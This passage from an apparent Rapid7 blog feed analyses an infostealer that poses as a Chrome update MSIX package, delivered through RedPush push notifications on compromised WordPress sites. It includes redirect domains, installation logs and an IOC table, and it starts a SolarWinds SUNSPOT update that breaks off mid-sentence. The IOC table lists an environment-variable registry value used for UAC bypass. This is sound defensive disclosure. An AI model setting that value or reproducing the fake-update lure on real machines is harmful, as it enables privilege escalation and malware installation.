discovered what appears to be a login portal for the attacker to access stolen data.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt530e10da018d33d4/683de89f237ea67d1391c482/pasted-image-0--5-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--5-.png" asset-alt="pasted-image-0--5-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt530e10da018d33d4/683de89f237ea67d1391c482/pasted-image-0--5-.png" data-sys-asset-uid="blt530e10da018d33d4" data-sys-asset-filename="pasted-image-0--5-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--5-.png" sys-style-type="display"/></figure><h2>Source of infection</h2><p>Rapid7’s MDR observed the execution of chrome.exe just prior to HoxLuSfo.exe spawning the PowerShell command we detected with our alert.</p><p>In one of our investigations, our analysis of the user’s Chrome browser history file showed redirects to suspicious domains before initial infection:<br/>hXXps://getredd[.]biz/ →<br/>hXXps://eu.postsupport[.]net →<br/>hXXp://updateslives[.]com/</p><p>In another investigation, DNS logs showed a redirect chain that followed a similar pattern:<br/>hXXps://getblackk[.]biz/ →<br/>hXXps://eu.postsupport[.]net →<br/>hXXp://updateslives[.]com/ →<br/>hXXps://chromesupdate[.]com</p><p>In the first investigation, the user’s Chrome profile revealed that the site permission settings for a suspicious domain, birchlerarroyo[.]com, were altered just prior to the redirects.  Specifically, the user granted permission to the site hosted at birchlerarroyo[.]com to send notifications to the user.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt05cc6275c3e27d3a/683de8b53d7b5e39151368d8/pasted-image-0--6-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--6-.png" asset-alt="pasted-image-0--6-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt05cc6275c3e27d3a/683de8b53d7b5e39151368d8/pasted-image-0--6-.png" data-sys-asset-uid="blt05cc6275c3e27d3a" data-sys-asset-filename="pasted-image-0--6-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--6-.png" sys-style-type="display"/></figure><p>Rapid7’s MDR visited the website hosted at birchlerarroyo[.]com and found that the website presented a browser notification requesting permission to show notifications to the user.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8754102afc330e01/683de8ce2a7686497ebc86d2/pasted-image-0--7-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--7-.png" asset-alt="pasted-image-0--7-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8754102afc330e01/683de8ce2a7686497ebc86d2/pasted-image-0--7-.png" data-sys-asset-uid="blt8754102afc330e01" data-sys-asset-filename="pasted-image-0--7-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--7-.png" sys-style-type="display"/></figure><p>We suspect that the website hosted at birchlerarroyo[.]com was compromised, as its source code contained a reference to a suspicious JavaScript file hosted at fastred[.]biz:</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0cd34514e2f13e91/683de8e3aaf620deab79e0e4/pasted-image-0--8-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--8-.png" asset-alt="pasted-image-0--8-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt0cd34514e2f13e91/683de8e3aaf620deab79e0e4/pasted-image-0--8-.png" data-sys-asset-uid="blt0cd34514e2f13e91" data-sys-asset-filename="pasted-image-0--8-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--8-.png" sys-style-type="display"/></figure><p>We determined that the JavaScript file hosted at fastred[.]biz was responsible for the notification observed at birchlerarroyo[.]com via the code in Figure 10.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9e9544dd40ead805/683de8f6ca9dfce9045268da/pasted-image-0--9-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--9-.png" asset-alt="pasted-image-0--9-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9e9544dd40ead805/683de8f6ca9dfce9045268da/pasted-image-0--9-.png" data-sys-asset-uid="blt9e9544dd40ead805" data-sys-asset-filename="pasted-image-0--9-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--9-.png" sys-style-type="display"/></figure><p>Pivoting off of the string “Код RedPush” within the source code of birchlerarroyo[.]com (see highlighted lines in Figure 9), as well as the workerName and applicationServerKey settings within the JavaScript file in Figure 10, Rapid7’s MDR discovered additional websites containing similar source code: ostoday[.]com and magnetline[.]ru.</p><p>Rapid7’s MDR analyzed the websites hosted at each of birchlerarroyo[.]com, ostoday[.]com, and magnetline[.]ru and found that each:</p><ul><li>Displayed the same type of browser notification shown in Figure 8</li><li>Was built using WordPress and employed the same WordPress plugin, “WP Rocket”</li><li>Had source code that referred to similar Javascript files hosted at either fastred[.]biz or clickmatters[.]biz and the JavaScript files had the same applicationServerKey: BIbjCoVklTIiXYjv3Z5WS9oemREJPCOFVHwpAxQphYoA5FOTzG-xOq6GiK31R-NF--qzgT3_C2jurmRX_N6nY4g</li></ul><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd2e53af7f25c0f88/683de909cc60422f0a206a5c/pasted-image-0--10-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--10-.png" asset-alt="pasted-image-0--10-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd2e53af7f25c0f88/683de909cc60422f0a206a5c/pasted-image-0--10-.png" data-sys-asset-uid="bltd2e53af7f25c0f88" data-sys-asset-filename="pasted-image-0--10-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--10-.png" sys-style-type="display"/></figure><ul><li>Had source code that contained a similar rbConfig parameter referencing takiparkrb[.]site and a varying rotator value</li></ul><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7a67dbcf38819646/683de91d543b8d1eccbf1458/pasted-image-0--11-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--11-.png" asset-alt="pasted-image-0--11-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7a67dbcf38819646/683de91d543b8d1eccbf1458/pasted-image-0--11-.png" data-sys-asset-uid="blt7a67dbcf38819646" data-sys-asset-filename="pasted-image-0--11-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--11-.png" sys-style-type="display"/></figure><ul><li>Had source code that contained references to either “Код RedPush” (translates to “Redpush code”), “Код РБ” (translates to “CodeRB”), or “Код нативного ПУШа RB” (translates to “Native PUSH code RB”)</li></ul><p>Pivoting off of the similar strings of “CodeRB” and “Redpush” within source code led to other findings.</p><p>First, Rapid7’s MDR discovered an advertising business, RedPush (see redpush[.]biz).  RedPush provides its customers with advertisement code to host on customers’ websites.  The code produces pop-up notifications to allow for advertisements to be pushed to users browsing the customers’ websites. RedPush’s customers make a profit based on the number of advertisement clicks generated from their websites that contain RedPush’s code.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7a053056e4c357fc/683de9338ac17c4ba429b0ae/pasted-image-0--12-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--12-.png" asset-alt="pasted-image-0--12-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7a053056e4c357fc/683de9338ac17c4ba429b0ae/pasted-image-0--12-.png" data-sys-asset-uid="blt7a053056e4c357fc" data-sys-asset-filename="pasted-image-0--12-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--12-.png" sys-style-type="display"/></figure><p>Second, Rapid7’s MDR discovered a publication by Malwaretips describing a browser pop-up malware family known as <a href="https://malwaretips.com/blogs/remove-redpush-name/">Redpush</a>. Upon visiting a website compromised with Redpush code, the code presents a browser notification requesting permission to send notifications to the user. After the user grants permission, the compromised site appears to gain the ability to push toast notifications, which could range from spam advertisements to notifications for malicious fake software updates. Similar publications by McAfee <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/">here</a> and <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-to-stop-the-popups/">here</a> describe that threat actors have recently been employing toast notifications that advertise fake software updates to trick users into installing malicious Windows applications.</p><p>Rapid7’s MDR could not reproduce a push of a malicious software after visiting the compromised website at birchlerarroyo[.]com, possibly for several reasons:</p><ul><li>Notification-enabled sites may send notifications at varying frequencies, as explained <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-to-stop-the-popups/#:~:text=Some%20sites%20send%20notifications%20as%20often%20as%20every%20minute.">here</a>, and varying times of day.</li><li>Malicious packages are known to be selectively pushed to users based on geolocation, as explained <a href="https://www.pcrisk.com/removal-guides/19096-redpush-name-ads#:~:text=Visitors%27%20geolocations%20determine%20how%20redpush%5B.%5Dname%20operates.%20It%20learns%20this%20information%20by%20checking%20users%27%20IP%20(Internet%20Protocol)%20addresses.%20Therefore%2C%20whether%20visitors%20are%20redirected%20elsewhere%20and/or%20are%20presented%20with%20dubious%20material%20depends%20on%20their%20geolocations.">here</a>. (Note: Rapid7’s MDR interacted with the website using IP addresses having varying geolocations in North America and Europe.)</li><li>The malware was no longer being served at the time of investigation.</li></ul><p>However, the malware delivery techniques described by <a href="https://malwaretips.com/blogs/remove-redpush-name/">Malwaretips</a> and <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/">McAfee</a> were likely employed to trick the users in our investigations into installing the malware while they were browsing the Internet.  As explained in the “Forensic analysis” section, in one of our investigations, there was evidence of an initial toast notification, a fake update masquerade, and installation of a malicious Windows application.  Additionally, the grandparent process of the PowerShell command we detected, sihost.exe, indicated to us that the malware may have leveraged the Windows Notification Center during the infection chain.</p><h2>Forensic analysis</h2><p>Analysis of the User’s Chrome profile and Microsoft-Windows-PushNotifications-Platform Windows Event Logs suggests that upon the user enabling notifications to be sent from the compromised site at birchlerarroyo[.]com, the user was presented with and cleared a toast notification. We could not determine what the contents of the toast notification were based on available evidence.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt54fedd175a175e1e/683de9463a1c5a7c534bab1a/pasted-image-0--13-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--13-.png" asset-alt="pasted-image-0--13-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt54fedd175a175e1e/683de9463a1c5a7c534bab1a/pasted-image-0--13-.png" data-sys-asset-uid="blt54fedd175a175e1e" data-sys-asset-filename="pasted-image-0--13-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--13-.png" sys-style-type="display"/></figure><p>Based on our analysis of timestamp evidence, the user was likely directed to each of getredd[.]biz, postsupport[.]net, and updateslives[.]com after clicking the toast notification, and presented a fake update webpage.</p><p>Similar to the infection mechanism described by <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/scammers-impersonating-windows-defender-to-push-malicious-windows-apps/">McAfee</a>, the installation path of the malware on disk within C:\Program Files\WindowsApps\ suggests that the users were tricked into installing a malicious Windows application. The Microsoft-Windows-AppXDeploymentServerOperational and Microsoft-Windows-AppxPackagingOperational Windows Event logs contained suspicious entries confirming installation of the malware as a Windows application, as shown in Figures 15-19.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt302869cc350dd4f9/683de95a8ac17c77a429b0ba/pasted-image-0--14-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--14-.png" asset-alt="pasted-image-0--14-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt302869cc350dd4f9/683de95a8ac17c77a429b0ba/pasted-image-0--14-.png" data-sys-asset-uid="blt302869cc350dd4f9" data-sys-asset-filename="pasted-image-0--14-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--14-.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteb4be67f277ef4cc/683de96bff6aa9dbaa0eab07/pasted-image-0--15-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--15-.png" asset-alt="pasted-image-0--15-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteb4be67f277ef4cc/683de96bff6aa9dbaa0eab07/pasted-image-0--15-.png" data-sys-asset-uid="blteb4be67f277ef4cc" data-sys-asset-filename="pasted-image-0--15-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--15-.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbd9ce5738242cf6/683de979ca9dfc2d185268f8/pasted-image-0--16-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--16-.png" asset-alt="pasted-image-0--16-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbd9ce5738242cf6/683de979ca9dfc2d185268f8/pasted-image-0--16-.png" data-sys-asset-uid="bltcbd9ce5738242cf6" data-sys-asset-filename="pasted-image-0--16-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--16-.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65bf98ea4fff5454/683de9888ac17c357029b0d6/pasted-image-0--17-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--17-.png" asset-alt="pasted-image-0--17-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65bf98ea4fff5454/683de9888ac17c357029b0d6/pasted-image-0--17-.png" data-sys-asset-uid="blt65bf98ea4fff5454" data-sys-asset-filename="pasted-image-0--17-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--17-.png" sys-style-type="display"/></figure><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7a7d532fdee8fd65/683de99d18a553e11c68733e/pasted-image-0--18-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--18-.png" asset-alt="pasted-image-0--18-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7a7d532fdee8fd65/683de99d18a553e11c68733e/pasted-image-0--18-.png" data-sys-asset-uid="blt7a7d532fdee8fd65" data-sys-asset-filename="pasted-image-0--18-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--18-.png" sys-style-type="display"/></figure><p></p><p>The events in Figures 15-19 illustrate that the malicious Windows application was <a href="https://docs.microsoft.com/en-us/windows/msix/app-installer/installing-windows10-apps-web">distributed through the web with App Installer</a> as a <a href="https://docs.microsoft.com/en-us/windows/msix/overview">MSIX file</a>, oelgfertgokejrgre.msix.</p><h2>Analysis of oelgfertgokejrgre.msix</h2><p>Rapid7’s MDR visited chromesupdate[.]com in a controlled environment and discovered that it was hosting a convincing Chrome-update-themed webpage.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbad741f4ba30a2a0/683de9b13323a5615880abdf/pasted-image-0--19-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--19-.png" asset-alt="pasted-image-0--19-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbad741f4ba30a2a0/683de9b13323a5615880abdf/pasted-image-0--19-.png" data-sys-asset-uid="bltbad741f4ba30a2a0" data-sys-asset-filename="pasted-image-0--19-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--19-.png" sys-style-type="display"/></figure><p>The website title, “Google Chrome - Download the Fast, Secure Browser from Google,” was consistent with those we observed of the redirect URLs getredd[.]biz, postsupport[.]net, and updateslives[.]com.  The users in our investigations likely arrived at the website in Figure 20 after clicking a malicious toast notification, and proceeded to click the “Install” link presented on the website to initiate the Windows application installation.</p><p>The “Install” link presented at the website led to a Windows application installer URL (similar to that seen in Figure 17), which is consistent with <a href="https://docs.microsoft.com/en-us/windows/msix/app-installer/installing-windows10-apps-web#:~:text=Prefix%20your%20app%20package%20URIs%20with%20the%20activation%20scheme%20%27ms-appinstaller%3A%3Fsource%3D%27%20that%20App%20Installer%20is%20registered%20to%20when%20referencing%20them%20on%20your%20webpage.">MSIX distribution via the web</a>.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6c9907701430ced4/683de9c665b8ea5319cc8f75/pasted-image-0--20-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--20-.png" asset-alt="pasted-image-0--20-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt6c9907701430ced4/683de9c665b8ea5319cc8f75/pasted-image-0--20-.png" data-sys-asset-uid="blt6c9907701430ced4" data-sys-asset-filename="pasted-image-0--20-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--20-.png" sys-style-type="display"/></figure><p>Rapid7’s MDR obtained the MSIX file, oelgfertgokejrgre.msix, hosted at chromesupdate[.]com, and confirmed that it was a Windows application package.</p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt13c12f65a9bdc635/683de9dcaaf6203f2579e138/pasted-image-0--21-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--21-.png" asset-alt="pasted-image-0--21-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt13c12f65a9bdc635/683de9dcaaf6203f2579e138/pasted-image-0--21-.png" data-sys-asset-uid="blt13c12f65a9bdc635" data-sys-asset-filename="pasted-image-0--21-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--21-.png" sys-style-type="display"/></figure><p>Analysis of the contents extracted from oelgfertgokejrgre.msix revealed the following notable characteristics and features:</p><ul><li>Two files, HoxLuSfo.exe and JiLutime.dll, were contained within the HoxLuSfo subdirectory. JiLutime.dll (MD5: 60bb67ebcffed2f406ac741b1083dc80) was a 32-bit Agile .NET obfuscator DLL signed by SecureTeam Software Ltd, likely to (de)obfuscate contents.</li><li>The AppxManifest.xml file contained more references to the Windows application’s masquerade as a Google Chrome update, as well as details related to its package identity and signature.</li></ul><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt390391dc2144562c/683de9f62a9b682f472bd50d/pasted-image-0--22-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--22-.png" asset-alt="pasted-image-0--22-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt390391dc2144562c/683de9f62a9b682f472bd50d/pasted-image-0--22-.png" data-sys-asset-uid="blt390391dc2144562c" data-sys-asset-filename="pasted-image-0--22-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--22-.png" sys-style-type="display"/></figure><ul><li>The DeroKuilSza.build.appxrecipe file contained strings that referenced a project “DeroKuilSza,” which is likely associated with the malware author.</li></ul><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd93b173b23802e0b/683dea102a9b68e6642bd515/pasted-image-0--23-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--23-.png" asset-alt="pasted-image-0--23-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltd93b173b23802e0b/683dea102a9b68e6642bd515/pasted-image-0--23-.png" data-sys-asset-uid="bltd93b173b23802e0b" data-sys-asset-filename="pasted-image-0--23-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--23-.png" sys-style-type="display"/></figure><p></p><p>Our dynamic analysis of oelgfertgokejrgre.msix provided clarity around the malware’s installation process. Detonation of oelgfertgokejrgre.msix caused a Windows App Installer window to appear, which displayed information about a fake Google Chrome update.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8cc2e29d08668ca8/683dea213d7b5eb3ec136943/pasted-image-0--24-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--24-.png" asset-alt="pasted-image-0--24-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8cc2e29d08668ca8/683dea213d7b5eb3ec136943/pasted-image-0--24-.png" data-sys-asset-uid="blt8cc2e29d08668ca8" data-sys-asset-filename="pasted-image-0--24-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--24-.png" sys-style-type="display"/></figure><p>The information displayed to the user in Figure 26 is spoofed to masquerade as a legitimate Google Chrome update. The information correlates to the AppxManifest.xml configuration shown in Figure 24.</p><p>Once we proceeded with the installation, the MSIX package registered a notification sender via App Installer and immediately presented a notification to launch the fake Google Chrome update.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt95a465997b027630/683dea2d30073edb9ceb1b1c/Capture.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="Capture.png" asset-alt="Capture.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt95a465997b027630/683dea2d30073edb9ceb1b1c/Capture.png" data-sys-asset-uid="blt95a465997b027630" data-sys-asset-filename="Capture.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="Capture.png" sys-style-type="display"/></figure><p>Since the malicious Windows application package installed by the MSIX file was not hosted on the Microsoft Store, a prompt is presented to enable installation of <a href="https://docs.microsoft.com/en-us/windows/application-management/sideload-apps-in-windows-10">sideload applications</a>, if not already enabled, to allow for installation of applications from unofficial sources.</p><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad6634eea4bfdf7d/683dea393beff0fc3da7c6e7/pasted-image-0--25-.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="pasted-image-0--25-.png" asset-alt="pasted-image-0--25-.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltad6634eea4bfdf7d/683dea393beff0fc3da7c6e7/pasted-image-0--25-.png" data-sys-asset-uid="bltad6634eea4bfdf7d" data-sys-asset-filename="pasted-image-0--25-.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="pasted-image-0--25-.png" sys-style-type="display"/></figure><p></p><figure style="margin: 0"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt75291e6e4c3e01d9/683dea45ca9dfc8b8b52692f/sideload.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="sideload.png" asset-alt="sideload.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt75291e6e4c3e01d9/683dea45ca9dfc8b8b52692f/sideload.png" data-sys-asset-uid="blt75291e6e4c3e01d9" data-sys-asset-filename="sideload.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="sideload.png" sys-style-type="display"/></figure><p>The malware needs the enablement of “Sideload apps” to complete its installation.</p><h2>Pulling off the mask</h2><p>The malware we summarized in this blog post has several tricks up its sleeve. Its delivery mechanism via an ad service as a Windows application (which does not leave typical web-based download forensic artifacts behind), Windows application installation path, and UAC bypass technique by manipulation of an environment variable and native scheduled task can go undetected by various security solutions or even by a seasoned SOC analyst. Rapid7’s MDR customers can rest assured that, by leveraging our attacker behavior analytics detection methodology, our analysts will detect and respond to this infection chain before the malware can steal valuable data.</p><h2>IOCs</h2><table cols="2" colWidths="250,250"><thead><tr><th>Type</th><th>Indicator</th></tr></thead><tbody><tr><td>Domain Name</td><td>updateslives[.]com</td></tr><tr><td>Domain Name</td><td>getredd[.]biz</td></tr><tr><td>Domain Name</td><td>postsupport[.]net</td></tr><tr><td>Domain Name</td><td>eu.postsupport[.]net</td></tr><tr><td>Domain Name</td><td>cleancrack[.]tech</td></tr><tr><td>Domain Name</td><td>s1.cleancrack[.]tech</td></tr><tr><td>Domain Name</td><td>s4.cleancrack[.]tech</td></tr><tr><td>Domain Name</td><td>getblackk[.]biz</td></tr><tr><td>Domain Name</td><td>chromesupdate[.]com</td></tr><tr><td>Domain Name</td><td>fastred[.]biz</td></tr><tr><td>Domain Name</td><td>clickmatters[.]biz</td></tr><tr><td>Domain Name</td><td>takiparkrb[.]site</td></tr><tr><td>Directory</td><td>C:\Program Files\WindowsApps\3b76099d-e6e0-4e86-bed1-100cc5fa699f_113.0.2.0_neutral__7afzw0tp1da5e\HoxLuSfo</td></tr><tr><td>Filepath</td><td>C:\Program Files\WindowsApps\3b76099d-e6e0-4e86-bed1-100cc5fa699f_113.0.2.0_neutral__7afzw0tp1da5e\HoxLuSfo\HoxLuSfo.exe</td></tr><tr><td>Filename</td><td>HoxLuSfo.exe</td></tr><tr><td>MD5</td><td>1cc0536ae396eba7fbde9f35dc2fc8e3</td></tr><tr><td>SHA1</td><td>b7ac2fd5108f69e90ad02a1c31f8b50ab4612aa6</td></tr><tr><td>SHA256</td><td>5dc8aa3c906a469e734540d1fea1549220c63505b5508e539e4a16b841902ed1</td></tr><tr><td>Filepath</td><td>%USERPROFILE%\AppData\Local\Microsoft\OneDrive\setup\st.exe</td></tr><tr><td>Filename</td><td>st.exe</td></tr><tr><td>Registry Value + Registry Data</td><td>HKCU\Environment.%windir% --&gt;  %LOCALAPPDATA%\Microsoft\OneDrive\setup\st.exe REM</td></tr><tr><td>Filename</td><td>oelgfertgokejrgre.msix</td></tr><tr><td>MD5</td><td>6860c43374ad280c3927b16af66e3593</td></tr><tr><td>SHA1</td><td>94658e04988b02c395402992f46f1e975f9440e1</td></tr><tr><td>SHA256</td><td>0a127dfa75ecdc85e88810809c94231949606d93d232f40dad9823d3ac09b767</td></tr></tbody></table><div><h4>NEVER MISS A BLOG</h4><p>Get the latest stories, expertise, and news about security today.</p><a href="#">Subscribe</a></div><br/>]]></description>
      <link>https://www.rapid7.com/blog/post/2021/10/28/sneaking-through-windows-infostealer-malware-masquerades-as-windows-application</link>
      <guid isPermaLink="false">bltf90759c4f6490be9</guid>
      <category><![CDATA[Malware]]></category>
      <category><![CDATA[Managed Detection and Response (MDR)]]></category>
      <category><![CDATA[Research]]></category><dc:creator><![CDATA[Andrew Iwamaye]]></dc:creator>
      <pubDate>Thu, 28 Oct 2021 18:21:47 GMT</pubDate>
    </item>
    <item>
      <title><![CDATA[Update on SolarWinds Supply-Chain Attack: SUNSPOT, SUNSHUTTLE and New Malware Family Associations]]></title>
      <description><![CDATA[<p>This update is a continuation of <a href="/blog/post/2020/12/14/solarwinds-sunburst-backdoor-supply-chain-attack-what-you-need-to-know/">our previous coverage of the SolarWinds supply-chain attack</a> that was discovered by FireEye in December 2020. As of Jan. 11, 2021, new research has been published that expands the security community’s understanding of the breadth and depth of the SolarWinds attack.</p><p>Two recent developments warrant your attention:</p><ul><li>New <a href="https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/" rel="nofollow">in-depth research from CrowdStrike</a> provides technical analysis of the malware—dubbed "SUNSPOT" <em>(the industry is going to run out of stellar-themed names at this rate)</em>—that was used to insert the SUNBURST backdoor into SolarWinds Orion software builds.</li><li><a href="https://securelist.com/sunburst-backdoor-kazuar/99981/" rel="nofollow">New technical analysis from researchers at Kaspersky</a> discusses their discovery of feature overlap between the SUNBURST malware code and the Kazuar backdoor.</li></ul><h2>The SUNSPOT build implant</h2><p>On Monday, Jan. 11, 2021, CrowdStrike’s intelligence team <a href="https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/" rel="nofollow">published technical analysis on SUNSPOT</a>, a newly identified type of malware that appears to have been used as part of the SolarWinds <a href="/fundamentals/supply-chain-attack/" rel="nofollow">supply chain attack</a>. CrowdStrike describes SUNSPOT as “a malicious tool that was deployed into the build environment to inject [the SUNBURST] backdoor into the SolarWinds Orion platform.”</p><p>While SUNSPOT infection is part of the attack chain that allows for SUNBURST backdoor compromise, SUNSPOT has distinct host indicators of attack (including executables and related files), artifacts, and TTPs (tactics, techniques, and procedures).</p><p>CrowdStrike provides a thorough breakdown of how SUNSPOT operates, including numerous indicators of compromise. Here are the critical highlights:</p><p>SUNSPOT’s on-disk executable is named taskhostsvc.exe and has an initial, likely build date of Feb. 20, 2020. It maintains persistence through a scheduled task that executes on boot and has the SeDebugPrivilege grant, which is what enables it to read the memory of other processes.</p><p>It uses this privilege to watch for MsBuild.exe (a Visual Studio development component) execution and modifies the target source code before the compiler has a chance to read it. SUNSPOT then looks for a specific Orion software source code component and replaces it with one that will inject SUNBURST during the build process. SUNSPOT also has validation checks to ensure no build errors are triggered during the build process, which helps it escape developer and other detection.</p><p>The last half of the CrowdStrike analysis has details on tactics, techniques, and procedures, along with host indicators of attack, ATT&CK framework mappings, and YARA rules specific to SUNSPOT. Relevant indicators have been incorporated into <a href="/products/insightidr/">Rapid7's SIEM, InsightIDR,</a> and <a 